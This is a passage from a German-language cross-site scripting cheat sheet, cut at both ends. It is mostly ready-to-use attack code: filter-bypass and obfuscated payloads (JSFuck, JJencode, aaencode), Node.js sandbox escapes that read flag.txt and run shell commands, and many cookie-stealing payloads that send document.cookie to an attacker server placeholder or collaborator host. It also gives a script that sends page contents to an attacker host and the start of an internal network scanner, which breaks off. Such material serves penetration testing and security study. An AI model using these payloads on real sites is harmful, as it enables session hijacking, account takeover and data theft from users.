"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

Beliebiger Funktionsaufruf (alert)

javascript
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

DOM-Schwachstellen

Es gibt JS-Code, der unsichere, vom Angreifer kontrollierte Daten wie location.href verwendet. Ein Angreifer könnte dies ausnutzen, um beliebigen JS-Code auszuführen.
Aufgrund der ausführlicheren Erklärung von DOM vulnerabilities wurde auf diese Seite verschoben:

DOM XSS

Dort findest du eine detaillierte Erklärung, was DOM vulnerabilities sind, wie sie ausgelöst werden und wie man sie ausnutzt.
Außerdem, vergiss nicht, dass am Ende des genannten Beitrags eine Erklärung zu DOM Clobbering attacks zu finden ist.

Self-XSS aufwerten

Wenn du eine XSS auslösen kannst, indem du die Payload in einem Cookie sendest, ist das normalerweise ein self-XSS. Wenn du jedoch eine verwundbare Subdomain für XSS findest, könntest du diese XSS dazu missbrauchen, ein Cookie für die gesamte Domain zu injizieren und so die Cookie XSS in der Hauptdomain oder anderen Subdomains (denen, die für Cookie XSS verwundbar sind) auszulösen. Dafür kannst du den cookie tossing attack verwenden:

Cookie Tossing

Ein großartiges Beispiel für den Missbrauch dieser Technik findest du in diesem Blogpost.

Deine Session an den Admin senden

Vielleicht kann ein Benutzer sein Profil mit dem Admin teilen. Wenn sich die self-XSS im Profil des Nutzers befindet und der Admin es aufruft, wird die Schwachstelle ausgelöst.

Session Mirroring

Wenn du ein self-XSS findest und die Webseite ein session mirroring für Administratoren hat, z. B. Clients erlaubt, um Hilfe zu bitten, und damit der Admin dir helfen kann, sieht er, was du in deiner Session siehst, aber aus seiner Session.

Du könntest den Administrator dazu bringen, dein self-XSS auszulösen und seine Cookies/Session zu stehlen.

Andere Bypasses

Normalisierte Unicode

Du könntest prüfen, ob die reflektierten Werte auf dem Server (oder clientseitig) unicode-normalisiert werden und diese Funktionalität ausnutzen, um Schutzmechanismen zu umgehen. Ein Beispiel findest du hier.

PHP FILTER_VALIDATE_EMAIL flag Bypass

javascript
"><svg/onload=confirm(1)>"@x.y

Ruby-On-Rails bypass

Aufgrund von RoR mass assignment werden Anführungszeichen in das HTML eingefügt, wodurch die Einschränkung durch Anführungszeichen umgangen wird und zusätzliche Felder (onfocus) innerhalb des Tags hinzugefügt werden können.
Formularbeispiel (from this report), wenn du das payload sendest:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

Das Paar "Key","Value" wird wie folgt zurückgegeben:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

Dann wird das onfocus-Attribut eingefügt und XSS tritt auf.

Spezielle Kombinationen

html
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

XSS mit Header-Injektion in einer 302-Antwort

Wenn du feststellst, dass du Header in eine 302 Redirect-Antwort injizieren kannst, könntest du versuchen, den Browser dazu zu bringen, beliebiges JavaScript auszuführen. Das ist nicht trivial, da moderne Browser den HTTP-Antwort-Body nicht interpretieren, wenn der HTTP-Statuscode 302 ist, daher ist ein einfaches cross-site scripting-Payload nutzlos.

In this report and this one kannst du nachlesen, wie du mehrere Protokolle im Location-Header testen kannst und prüfen kannst, ob eines davon dem Browser erlaubt, das XSS-Payload im Body zu inspizieren und auszuführen.
Früher bekannte Protokolle: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.

Nur Buchstaben, Zahlen und Punkte

Wenn du den callback angeben kannst, den JavaScript ausführen wird, und dieser auf diese Zeichen beschränkt ist. Read this section of this post um zu erfahren, wie man dieses Verhalten ausnutzt.

Valid <script> Content-Types to XSS

(From here) Wenn du versuchst, ein Script mit einem content-type wie application/octet-stream zu laden, wird Chrome folgenden Fehler ausgeben:

Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.

Die einzigen Content-Types, die Chrome unterstützen, ein geladenes script auszuführen, sind die in der const kSupportedJavascriptTypes aus https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc

c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

Script-Typen für XSS

(Aus here) Welche Typen könnten also angegeben werden, um ein Script zu laden?

html
<script type="???"></script>
  • module (Standard, nichts zu erklären)
  • webbundle: Web Bundles ist eine Funktion, mit der du eine Menge Daten (HTML, CSS, JS…) zusammen in eine .wbn-Datei packen kannst.
html
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
  • importmap: Ermöglicht die Verbesserung der import-Syntax
html
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>

Dieses Verhalten wurde in this writeup verwendet, um eine Bibliothek auf eval umzuleiten, deren Missbrauch XSS auslösen kann.

  • speculationrules: Diese Funktion dient hauptsächlich dazu, einige durch pre-rendering verursachte Probleme zu lösen. Sie funktioniert folgendermaßen:
html
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>

Web Content-Types für XSS

(Quelle: here) Die folgenden Content-Types können in allen Browsern XSS ausführen:

  • text/html
  • application/xhtml+xml
  • application/xml
  • text/xml
  • image/svg+xml
  • text/plain (?? nicht in der Liste, aber ich glaube, ich habe das in einem CTF gesehen)
  • application/rss+xml (off)
  • application/atom+xml (off)

In anderen Browsern können andere Content-Types verwendet werden, um beliebiges JS auszuführen. Siehe: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

xml Content Type

Wenn die Seite einen text/xml Content-Type zurückgibt, ist es möglich, einen Namespace anzugeben und beliebiges JS auszuführen:

xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

Spezielle Ersetzungsmuster

Wenn etwas wie "some {{template}} data".replace("{{template}}", <user_input>) verwendet wird. Der Angreifer könnte special string replacements benutzen, um einige Schutzmaßnahmen zu umgehen: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

Zum Beispiel wurde dies in this writeup verwendet, um einen JSON-String innerhalb eines Skripts zu escapen und beliebigen Code auszuführen.

Chrome Cache to XSS

Chrome Cache to XSS

XS Jails Escape

Wenn du nur eine begrenzte Menge an chars zur Verfügung hast, sieh dir diese anderen gültigen Lösungen für XSJail-Probleme an:

javascript
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

Wenn vor der Ausführung von untrusted code everything is undefined (wie in this writeup), ist es möglich, nützliche Objekte "aus dem Nichts" zu erzeugen, um die Ausführung von arbitrary untrusted code zu missbrauchen:

  • Verwendung von import()
javascript
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
  • Accessing require indirectly

According to this werden Module von Node.js innerhalb einer Funktion eingeschlossen, wie folgt:

javascript
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})

Daher, wenn wir von diesem Modul aus eine andere Funktion aufrufen können, ist es möglich, arguments.callee.caller.arguments[1] aus dieser Funktion zu verwenden, um auf require zuzugreifen:

javascript
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()

Auf ähnliche Weise wie im vorherigen Beispiel ist es möglich, Error-Handler zu verwenden, um auf den Wrapper des Moduls zuzugreifen und die require-Funktion zu erhalten:

javascript
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()

Obfuscation & Advanced Bypass

javascript
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
javascript
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
javascript
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
javascript
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻   / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
javascript
// It's also possible to execute JS code only with the chars: []`+!${}

Häufige XSS payloads

Mehrere payloads in 1

Steal Info JS

Iframe Trap

Lässt den Benutzer auf der Seite navigieren, ohne das iframe zu verlassen, und stiehlt seine Aktionen (einschließlich in Formularen gesendeter Informationen):

Iframe Traps

Cookies abrufen

javascript
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

tip

Du wirst nicht in der Lage sein, auf die cookies aus JavaScript zuzugreifen, wenn das HTTPOnly flag im cookie gesetzt ist. Aber hier findest du einige Wege, diesen Schutz zu umgehen, wenn du genug Glück hast.

Seiteninhalt stehlen

javascript
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)

Interne IPs finden

html
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
